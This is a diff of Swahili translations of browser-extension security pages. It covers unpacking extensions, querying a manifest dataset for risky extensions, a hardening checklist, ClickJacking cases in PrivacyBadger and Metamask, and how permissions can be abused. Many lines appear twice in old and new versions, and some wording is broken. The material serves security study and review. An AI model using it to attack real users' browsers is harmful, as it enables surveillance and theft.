Nenda kwenye Chrome Web Store na upakue kiendelezi. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` hadi `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP.
Nenda kwenye Chrome Web Store na upakue nyongeza. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` kuwa `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP.
### Tumia Mode ya Developer kwenye Chrome
### Tumia Mode ya Developer katika Chrome
Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" kwenye kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembelea saraka ya kiendelezi chako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa kiendelezi ambacho tayari kimepakuliwa au kimeandaliwa.
Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembelea saraka ya nyongeza yako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa nyongeza ambayo tayari imepakuliwa au kuandaliwa.
## Seti ya data ya manifest ya kiendelezi cha Chrome
## Seti ya data ya manifest ya nyongeza ya Chrome
Ili kujaribu kubaini viendelezi vya kivinjari vilivyo hatarini unaweza kutumia [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kuangalia faili zao za manifest kwa ishara zinazoweza kuwa hatarini. Kwa mfano kuangalia viendelezi vyenye watumiaji zaidi ya 25000, `content_scripts` na ruhusa `nativeMessaing`:
Ili kujaribu kubaini nyongeza za kivinjari zenye udhaifu unaweza kutumia [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kuangalia faili zao za manifest kwa ishara zinazoweza kuwa na udhaifu. Kwa mfano kuangalia nyongeza zenye watumiaji zaidi ya 25000, `content_scripts` na ruhusa `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@ -643,13 +643,13 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
- [ ] **Punguza** kadri iwezekanavyo **`permissions`** zinazohitajika
- [ ] **Punguza** kadri iwezekanavyo **`host_permissions`**
- [ ] Tumia **sera thabiti** ya **`content_security_policy`**
- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo la kawaida, eleza **`{}`**
- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo-msingi, eleza **`{}`**
- [ ] Ikiwa **URL inayoweza kuathiriwa na XSS au kuchukuliwa** imetajwa hapa, mshambuliaji ataweza **kutuma ujumbe kwa scripts za nyuma moja kwa moja**. Njia yenye nguvu ya kupita.
- [ ] **Punguza** kadri iwezekanavyo **`web_accessible_resources`**, hata ikiwa tupu ikiwa inawezekana.
- [ ] Ikiwa **`web_accessible_resources`** si hakuna, angalia [**ClickJacking**](browext-clickjacking.md)
- [ ] Ikiwa mawasiliano yoyote yanatokea kutoka kwa **kiongezeo** hadi **ukurasa wa wavuti**, [**angalia XSS**](browext-xss-example.md) **mapungufu** yaliyosababishwa katika mawasiliano.
- [ ] Ikiwa Post Messages zinatumika, angalia [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.**
- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazifanyi **XSS** ikiwa zinabadilishwa na wavuti
- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazifanyi **XSS** ikiwa zitabadilishwa na wavuti
- [ ] Fanya mkazo maalum ikiwa mawasiliano haya yanahusishwa pia katika **Mawasiliano ya Content Script -> Script ya Nyuma**
- [ ] Ikiwa script ya nyuma inawasiliana kupitia **ujumbe wa asili** angalia mawasiliano ni salama na yameondolewa
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **msimbo** wa Kiongezeo cha Kivinjari
@ -670,13 +670,13 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
- **Uchambuzi wa Hatari ya Clickjacking**: Ugunduzi wa kurasa za HTML za kiongezeo zenye mwelekeo wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) zilizowekwa. Hizi zinaweza kuwa na hatari ya clickjacking kulingana na kusudi la kurasa hizo.
- **Mtazamaji wa Onyo la Ruhusa**: unaonyesha orodha ya onyo zote za ruhusa za Chrome ambazo zitaonyeshwa wakati mtumiaji anajaribu kufunga kiongezeo.
- **Kazi Hatari**: inaonyesha eneo la kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano, kazi kama innerHTML, chrome.tabs.executeScript).
- **Nukta za Kuingia**: inaonyesha mahali kiongezeo kinapochukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
- **Nukta za Kuingia**: inaonyesha mahali ambapo kiongezeo kinachukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
- Wote skana za Kazi Hatari na Nukta za Kuingia zina yafuatayo kwa arifa zao zilizozalishwa:
- Kipande cha msimbo kinachohusiana na mstari ulioleta arifa.
- Maelezo ya tatizo.
- Kitufe cha "Tazama Faili" ili kuona faili kamili ya chanzo inayohusisha msimbo.
- Njia ya faili iliyoarifiwa.
- URI kamili ya kiongezeo cha Chrome ya faili iliyoarifiwa.
- Njia ya faili iliyoonyeshwa.
- URI kamili ya kiongezeo cha Chrome ya faili iliyoonyeshwa.
- Aina ya faili ni, kama vile script ya Ukurasa wa Nyuma, Script ya Maudhui, Kitendo cha Kivinjari, nk.
- Ikiwa mstari unaoweza kuathiriwa uko katika faili ya JavaScript, njia za kurasa zote ambapo imejumuishwa pamoja na aina za kurasa hizi, na hali ya [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na mchakato wa kupita**: Hii itaonyesha udhaifu katika CSP ya kiongezeo chako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk.
@ -684,7 +684,7 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
- Pakua kiongezeo na toleo lililopangwa.
- Pakua kiongezeo asilia.
- Pakua toleo lililopambwa la kiongezeo (HTML na JavaScript iliyopambwa kiotomatiki).
- Hifadhi matokeo ya uchunguzi kiotomatiki, kuendesha uchunguzi wa kiongezeo kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu mara moja kutokana na matokeo kuhifadhiwa.
- Hifadhi matokeo ya uchunguzi kiotomatiki, kuendesha uchunguzi wa kiongezeo kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu papo hapo kutokana na matokeo kuhifadhiwa.
- URL za Ripoti zinazoweza kuunganishwa, rahisi kuunganisha mtu mwingine kwenye ripoti ya kiongezeo iliyozalishwa na tarnish.
### [Neto](https://github.com/elevenpaths/neto)

View File

@ -4,7 +4,7 @@
## Basic Information
Ukurasa huu utatumia udhaifu wa ClickJacking katika nyongeza ya Kivinjari.\
Ukurasa huu utafaidika na udhaifu wa ClickJacking katika nyongeza ya kivinjari.\
Ikiwa hujui ClickJacking ni nini angalia:
{{#ref}}
@ -15,7 +15,7 @@ Nyongeza zina faili **`manifest.json`** na faili hiyo ya JSON ina uwanja `web_ac
> Rasilimali hizi zitapatikana katika ukurasa wa wavuti kupitia URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, ambayo inaweza kuzalishwa kwa kutumia **`extension.getURL method`**. Rasilimali zilizoorodheshwa zinatolewa na vichwa vya CORS vinavyofaa, hivyo zinapatikana kupitia mitambo kama XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
**`web_accessible_resources`** katika nyongeza ya kivinjari si tu zinapatikana kupitia wavuti; pia zinafanya kazi kwa ruhusa za ndani za nyongeza. Hii inamaanisha zina uwezo wa:
**`web_accessible_resources`** katika nyongeza ya kivinjari si tu zinazopatikana kupitia wavuti; pia zinafanya kazi kwa ruhusa za ndani za nyongeza. Hii inamaanisha zina uwezo wa:
- Kubadilisha hali ya nyongeza
- Kupakia rasilimali za ziada
@ -32,7 +32,7 @@ Katika nyongeza ya PrivacyBadger, udhaifu uligundulika kuhusiana na saraka ya `s
"icons/*"
]
```
Hali hii ilileta tatizo la usalama. Kwa haswa, faili la `skin/popup.html`, ambalo linaonyeshwa wakati wa mwingiliano na ikoni ya PrivacyBadger kwenye kivinjari, linaweza kuingizwa ndani ya `iframe`. Kuingizwa huku kunaweza kutumika kudanganya watumiaji kujiingiza kwa bahati mbaya kwenye kubofya "Disable PrivacyBadger for this Website". Kitendo kama hicho kingehatarisha faragha ya mtumiaji kwa kuzima ulinzi wa PrivacyBadger na kwa uwezekano kupelekea mtumiaji kufuatiliwa zaidi. Onyesho la kuona la exploit hii linaweza kuangaliwa katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Mkonfigu huu ulisababisha tatizo la usalama. Kwa haswa, faili la `skin/popup.html`, ambalo linaonyeshwa wakati wa mwingiliano na ikoni ya PrivacyBadger kwenye kivinjari, linaweza kuingizwa ndani ya `iframe`. Kuingizwa huku kunaweza kutumika kudanganya watumiaji kujiingiza kwa bahati mbaya kwenye kubofya "Disable PrivacyBadger for this Website". Kitendo kama hicho kingeathiri faragha ya mtumiaji kwa kuzima ulinzi wa PrivacyBadger na kwa uwezekano kupelekea mtumiaji kufuatiliwa zaidi. Onyesho la kuona la exploit hii linaweza kuangaliwa katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Ili kushughulikia udhaifu huu, suluhisho rahisi lilitekelezwa: kuondoa `/skin/*` kutoka kwenye orodha ya `web_accessible_resources`. Mabadiliko haya yalipunguza hatari kwa kuhakikisha kwamba maudhui ya saraka ya `skin/` hayawezi kufikiwa au kubadilishwa kupitia rasilimali zinazoweza kufikiwa mtandaoni.
@ -79,11 +79,11 @@ A [**blog post about a ClickJacking in metamask can be found here**](https://slo
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
**ClickJacking nyingine iliyorekebishwa** katika nyongeza ya Metamask ilikuwa kwamba watumiaji wangeweza **Click to whitelist** wakati ukurasa ulikuwa na shaka kuwa ni uvuvi kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kuutumia kuonyesha kitu cha kawaida ili kumfanya mwathirika abonyeze kuorodhesha bila kutambua, na kisha kurudi kwenye ukurasa wa uvuvi ambao utaorodheshwa.
**ClickJacking nyingine iliyorekebishwa** katika nyongeza ya Metamask ilikuwa kwamba watumiaji walikuwa na uwezo wa **Click to whitelist** wakati ukurasa ulikuwa na shaka kuwa ni uvuvi kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kuutumia kuonyesha kitu cha kawaida ili kumfanya mwathirika abonyeze kuorodhesha bila kutambua, na kisha kurudi kwenye ukurasa wa uvuvi ambao utaorodheshwa.
## Mfano wa Steam Inventory Helper
Angalia ukurasa ufuatao ili kuona jinsi **XSS** katika nyongeza ya kivinjari ilivyofunganishwa na udhaifu wa **ClickJacking**:
Angalia ukurasa ufuatao ili kuona jinsi **XSS** katika nyongeza ya kivinjari ilivyofungamanishwa na udhaifu wa **ClickJacking**:
{{#ref}}
browext-xss-example.md

View File

@ -1,4 +1,4 @@
# BrowExt - ruhusa & ruhusa_za_host
# BrowExt - ruhusa & ruhusa_za_kiwanja
{{#include ../../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
### **`permissions`**
Ruhusa zinapangwa katika faili la **`manifest.json`** la nyongeza kwa kutumia mali ya **`permissions`** na zinaruhusu ufikiaji wa karibu kila kitu ambacho kivinjari kinaweza kufikia (Cookies au Hifadhi ya Kimwili):
Ruhusa zin defined katika faili la **`manifest.json`** la nyongeza kwa kutumia mali ya **`permissions`** na zinaruhusu ufikiaji wa karibu kila kitu ambacho kivinjari kinaweza kufikia (Cookies au Hifadhi ya Kimwili):
Manifest iliyopita inatangaza kwamba nyongeza inahitaji ruhusa ya `storage`. Hii inamaanisha kwamba inaweza kutumia [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kuhifadhi data zake kwa muda mrefu. Tofauti na cookies au API za `localStorage` ambazo zinawapa watumiaji kiwango fulani cha udhibiti, **hifadhi ya nyongeza kwa kawaida inaweza kufutwa tu kwa kuondoa nyongeza**.
@ -18,7 +18,7 @@ Unaweza kupata [**orodha kamili ya ruhusa ambazo Nyongeza ya Kivinjari cha Chrom
### `host_permissions`
Mipangilio ya hiari lakini yenye nguvu **`host_permissions`** inaonyesha ni hosts gani nyongeza itakuwa na uwezo wa kuingiliana kupitia APIs kama [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), na [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Mipangilio ya hiari lakini yenye nguvu **`host_permissions`** inaonyesha ni mwenyeji gani ambao nyongeza itakuwa na uwezo wa kuingiliana nao kupitia APIs kama [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), na [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Ruhusa zifuatazo za `host_permissions` kimsingi zinaruhusu kila wavuti:
```json
@ -43,7 +43,7 @@ Hizi ni mwenyeji ambao nyongeza ya kivinjari inaweza kufikia bure. Hii ni kwa sa
### Tabs
Zaidi ya hayo, **`host_permissions`** pia hufungua kazi za “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **. Zinawaruhusu nyongeza kuita [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) na sio tu kupata **orodha ya tabs za kivinjari za mtumiaji** bali pia kujifunza ni **ukurasa gani wa wavuti (maana anwani na kichwa) umepakuliwa**.
Zaidi ya hayo, **`host_permissions`** pia inafungua kazi za “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **. Zinawawezesha nyongeza kuita [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) na sio tu kupata **orodha ya tabs za kivinjari za mtumiaji** bali pia kujifunza ni **ukurasa gani wa wavuti (maana anwani na kichwa) umepakuliwa**.
> [!CAUTION]
> Si hivyo tu, wasikilizaji kama [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **wanakuwa na manufaa zaidi pia**. Hizi zitaarifiwa kila wakati ukurasa mpya unapopakuliwa kwenye tab.
@ -52,21 +52,21 @@ Zaidi ya hayo, **`host_permissions`** pia hufungua kazi za “advanced” [**tab
Scripts za maudhui si lazima ziandikwe kwa njia ya kudumu kwenye hati ya nyongeza. Ikiwa kuna **`host_permissions`** ya kutosha, **nyongeza zinaweza pia kuzipakia kwa njia ya kidinamikali kwa kuita** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **au** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
APIs zote mbili zinaruhusu kutekeleza si tu faili zilizomo kwenye nyongeza kama scripts za maudhui bali pia **kod**e za kiholela. Ya kwanza inaruhusu kupitisha msimbo wa JavaScript kama string wakati ya pili inatarajia kazi ya JavaScript ambayo ina uwezekano mdogo wa udhaifu wa sindano. Hata hivyo, APIs zote mbili zitaharibu ikiwa zitatumiwa vibaya.
APIs zote mbili zinaruhusu kutekeleza si tu faili zilizomo kwenye nyongeza kama scripts za maudhui bali pia **kod**e zisizo na mipaka. Ya kwanza inaruhusu kupitisha msimbo wa JavaScript kama string wakati ya pili inatarajia kazi ya JavaScript ambayo ina uwezekano mdogo wa udhaifu wa kuingizwa. Hata hivyo, APIs zote mbili zitaleta machafuko ikiwa zitatumiwa vibaya.
> [!CAUTION]
> Mbali na uwezo ulio juu, scripts za maudhui zinaweza kwa mfano **kudukua akidi** wakati zinapoingizwa kwenye kurasa za wavuti. Njia nyingine ya kawaida ya kuzitumia vibaya ni **kuingiza matangazo** kwenye kila tovuti. Kuongeza **ujumbe wa udanganyifu** ili kudhuru uaminifu wa tovuti za habari pia inawezekana. Hatimaye, zinaweza **kubadilisha tovuti za benki** ili kuelekeza uhamisho wa pesa.
### Privileges zisizo za moja kwa moja <a href="#implicit-privileges" id="implicit-privileges"></a>
Baadhi ya ruhusa za nyongeza **hazihitaji kutangazwa wazi**. Mfano mmoja ni [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): kazi yake ya msingi inapatikana bila ruhusa yoyote. Nyongeza yoyote inaweza kuarifiwa unapofungua na kufunga tabs, haitajua tu ni tovuti zipi tabs hizi zinahusiana nazo.
Baadhi ya haki za nyongeza **hazihitaji kutangazwa wazi**. Mfano mmoja ni [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): kazi yake ya msingi inapatikana bila haki zozote. Nyongeza yoyote inaweza kuarifiwa unapofungua na kufunga tabs, haitajua tu ni tovuti zipi tabs hizi zinahusiana nazo.
Inasikika kuwa haina madhara? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ni kidogo chini ya hivyo. Inaweza kutumika ku **unda tab mpya**, kimsingi sawa na [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ambayo inaweza kuitwa na tovuti yoyote. Hata hivyo, wakati `window.open()` inakabiliwa na **kizuizi cha pop-up, `tabs.create()` haiko**.
Inasikika kuwa haina madhara? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ni kidogo zaidi. Inaweza kutumika ku **unda tab mpya**, kimsingi sawa na [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ambayo inaweza kuitwa na tovuti yoyote. Hata hivyo, wakati `window.open()` inakabiliwa na **kizuizi cha pop-up, `tabs.create()` haiko hivyo**.
> [!CAUTION]
> Nyongeza inaweza kuunda idadi yoyote ya tabs wakati wowote inapotaka.
Ukichunguza vigezo vya `tabs.create()`, pia utaona kwamba uwezo wake unazidi kile ambacho `window.open()` inaruhusiwa kudhibiti. Na wakati Firefox haitoi `data:` URIs kutumika na API hii, Chrome haina ulinzi kama huo. **Matumizi ya URIs kama hizo kwenye kiwango cha juu yamekuwa** [**yamepigwa marufuku kwa sababu ya kutumiwa vibaya kwa udukuzi**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
Ukichunguza vigezo vya `tabs.create()`, pia utaona kwamba uwezo wake unazidi kile ambacho `window.open()` inaruhusiwa kudhibiti. Na wakati Firefox haiwezi kutumia `data:` URIs na API hii, Chrome haina ulinzi kama huo. **Matumizi ya URIs kama hizo kwenye kiwango cha juu yamekuwa** [**yamepigwa marufuku kwa sababu ya kutumiwa vibaya kwa udukuzi**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) ni sawa sana na `tabs.create()` lakini it **badilisha tab iliyopo**. Hivyo nyongeza mbaya inaweza kwa mfano kupakia ukurasa wa matangazo kwenye moja ya tabs zako, na inaweza pia kuamsha tab inayohusiana.
@ -77,17 +77,17 @@ Huenda unajua kwamba tovuti zinaweza kuomba ruhusa maalum, kwa mfano ili kufikia
> [!CAUTION]
> Si hivyo kwa nyongeza za kivinjari. **Ikiwa nyongeza ya kivinjari** [**inataka kufikia kamera yako ya wavuti au kipaza sauti**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, inahitaji tu kuomba ruhusa mara moja**
Kawaida, nyongeza itafanya hivyo mara moja baada ya kufungwa. Mara hii ombi likikubaliwa, **ufikiaji wa kamera ya wavuti unapatikana wakati wowote**, hata kama mtumiaji hajiingizi na nyongeza kwa wakati huu. Ndio, mtumiaji atakubali tu ombi hili ikiwa nyongeza inahitaji kweli ufikiaji wa kamera ya wavuti. Lakini baada ya hapo wanapaswa kuamini nyongeza hiyo isirekodi chochote kwa siri.
Kawaida, nyongeza itafanya hivyo mara moja baada ya kufungwa. Mara hii ombi likikubaliwa, **ufikiaji wa kamera ya wavuti unapatikana wakati wowote**, hata kama mtumiaji hajishughulishi na nyongeza kwa wakati huu. Ndio, mtumiaji atakubali tu ombi hili ikiwa nyongeza inahitaji kweli ufikiaji wa kamera ya wavuti. Lakini baada ya hapo wanapaswa kuamini nyongeza hiyo isirekodi chochote kwa siri.
Kwa ufikiaji wa [eneo lako halisi la kijiografia](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) au [maudhui ya clipboard yako](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), kutoa ruhusa wazi si lazima kabisa. **Nyongeza inachangia tu `geolocation` au `clipboard` kwenye** [**entry ya ruhusa**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ya hati yake**. Hizi ruhusa za ufikiaji zinatolewa kwa njia isiyo ya moja kwa moja wakati nyongeza inasakinishwa. Hivyo nyongeza mbaya au iliyovunjika yenye ruhusa hizi inaweza kuunda wasifu wako wa mwendo au kufuatilia clipboard yako kwa nywila zilizokopwa bila wewe kugundua chochote.
Kwa ufikiaji wa [eneo lako halisi la kijiografia](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) au [maudhui ya clipboard yako](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), kutoa ruhusa wazi si lazima kabisa. **Nyongeza inachangia tu `geolocation` au `clipboard` kwenye** [**kidirisha cha ruhusa**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ya hati yake**. Hizi haki za ufikiaji kisha zinatolewa kwa njia isiyo ya moja kwa moja wakati nyongeza inafungwa. Hivyo nyongeza mbaya au iliyovunjika yenye haki hizi inaweza kuunda wasifu wako wa mwendo au kufuatilia clipboard yako kwa nywila zilizokopwa bila wewe kugundua chochote.
Kuongeza neno **`history`** kwenye [entry ya ruhusa](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) ya hati ya nyongeza kunatoa **ufikiaji wa** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Inaruhusu kupata historia yote ya kivinjari ya mtumiaji mara moja, bila kusubiri mtumiaji kutembelea tovuti hizi tena.
Kuongeza neno **`history`** kwenye [kidirisha cha ruhusa](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) ya hati ya nyongeza kunatoa **ufikiaji wa** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Inaruhusu kupata historia yote ya kivinjari ya mtumiaji mara moja, bila kusubiri mtumiaji kutembelea tovuti hizi tena.
Ruhusa ya **`bookmarks`** ina uwezo wa matumizi mabaya sawa, hii inaruhusu **kusoma alama zote kupitia** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
### Ruhusa ya Hifadhi <a href="#the-storage-permission" id="the-storage-permission"></a>
Hifadhi ya nyongeza ni mkusanyiko wa funguo-thamani, sawa sana na [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ambayo tovuti yoyote inaweza kutumia. Hivyo hakuna taarifa nyeti inapaswa kuhifadhiwa hapa.
Hifadhi ya nyongeza ni mkusanyiko wa funguo-thamani, sawa na [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ambayo tovuti yoyote inaweza kutumia. Hivyo hakuna taarifa nyeti inapaswa kuhifadhiwa hapa.
Hata hivyo, kampuni za matangazo zinaweza pia kutumia hifadhi hii vibaya.
@ -99,9 +99,9 @@ Unaweza kupata [**orodha kamili ya ruhusa ambazo Nyongeza ya Kivinjari ya Chromi
Sera ya mtengenezaji wa Google inakataza wazi nyongeza kuomba ruhusa zaidi ya zile zinazohitajika kwa kazi zao, kwa ufanisi kupunguza maombi ya ruhusa kupita kiasi. Mfano mmoja ambapo nyongeza ya kivinjari ilipita mipaka hii ni pamoja na usambazaji wake na kivinjari chenyewe badala ya kupitia duka la nyongeza.
Vivinjari vinaweza pia kupunguza matumizi mabaya ya ruhusa za nyongeza. Kwa mfano, APIs za Chrome [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) na [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) zinazotumika kwa kurekodi skrini, zimeundwa ili kupunguza matumizi mabaya. API ya tabCapture inaweza kuamshwa tu kupitia mwingiliano wa moja kwa moja wa mtumiaji, kama kubofya kwenye ikoni ya nyongeza, wakati desktopCapture inahitaji uthibitisho wa mtumiaji kwa dirisha lililo kwenye rekodi, kuzuia shughuli za kurekodi kwa siri.
Vivinjari vinaweza pia kupunguza matumizi mabaya ya haki za nyongeza. Kwa mfano, [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) na [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs za Chrome, zinazotumika kwa kurekodi skrini, zimeundwa ili kupunguza matumizi mabaya. API ya tabCapture inaweza kuamshwa tu kupitia mwingiliano wa moja kwa moja wa mtumiaji, kama kubofya kwenye ikoni ya nyongeza, wakati desktopCapture inahitaji uthibitisho wa mtumiaji kwa dirisha kurekodiwa, kuzuia shughuli za kurekodi kwa siri.
Hata hivyo, kuimarisha hatua za usalama mara nyingi husababisha kupungua kwa kubadilika na urahisi wa matumizi wa nyongeza. Ruhusa ya [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) inaonyesha biashara hii. Ilianzishwa ili kuondoa hitaji la nyongeza kuomba ruhusa za mwenyeji katika mtandao mzima, ikiruhusu nyongeza kufikia tu tab ya sasa baada ya kuamshwa wazi na mtumiaji. Mfano huu ni mzuri kwa nyongeza zinazohitaji vitendo vilivyoanzishwa na mtumiaji lakini unashindwa kwa zile zinazohitaji vitendo vya kiotomatiki au vya awali, hivyo kuathiri urahisi na majibu ya haraka.
Hata hivyo, kuimarisha hatua za usalama mara nyingi husababisha kupungua kwa kubadilika na urahisi wa matumizi wa nyongeza. Ruhusa ya [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) inaonyesha biashara hii. Ilianzishwa ili kuondoa hitaji la nyongeza kuomba ruhusa za mwenyeji katika mtandao mzima, ikiruhusu nyongeza kufikia tu tab ya sasa baada ya kuamshwa wazi na mtumiaji. Mfano huu ni mzuri kwa nyongeza zinazohitaji vitendo vilivyoanzishwa na mtumiaji lakini unashindwa kwa zile zinazohitaji vitendo vya moja kwa moja au vya awali, hivyo kuathiri urahisi na majibu ya haraka.
## **Marejeleo**

View File

@ -80,7 +80,7 @@ persistData()
```
Hii snippet inapata **thamani** kutoka kwa **`txtName`** input field na inatumia **mchanganyiko wa nyuzi kuunda HTML**, ambayo kisha inaongezwa kwenye DOM kwa kutumia jQuerys `.append()` function.
Kwa kawaida, Sera ya Usalama wa Maudhui (CSP) ya nyongeza ya Chrome ingepunguza udhaifu kama huu. Hata hivyo, kutokana na **kuondolewa kwa ukali kwa CSP na unsafe-eval** na matumizi ya mbinu za usimamizi wa DOM za jQuery (ambazo zinatumia [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kupitisha scripts kwa [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) wakati wa kuingiza DOM), unyakuzi bado unawezekana.
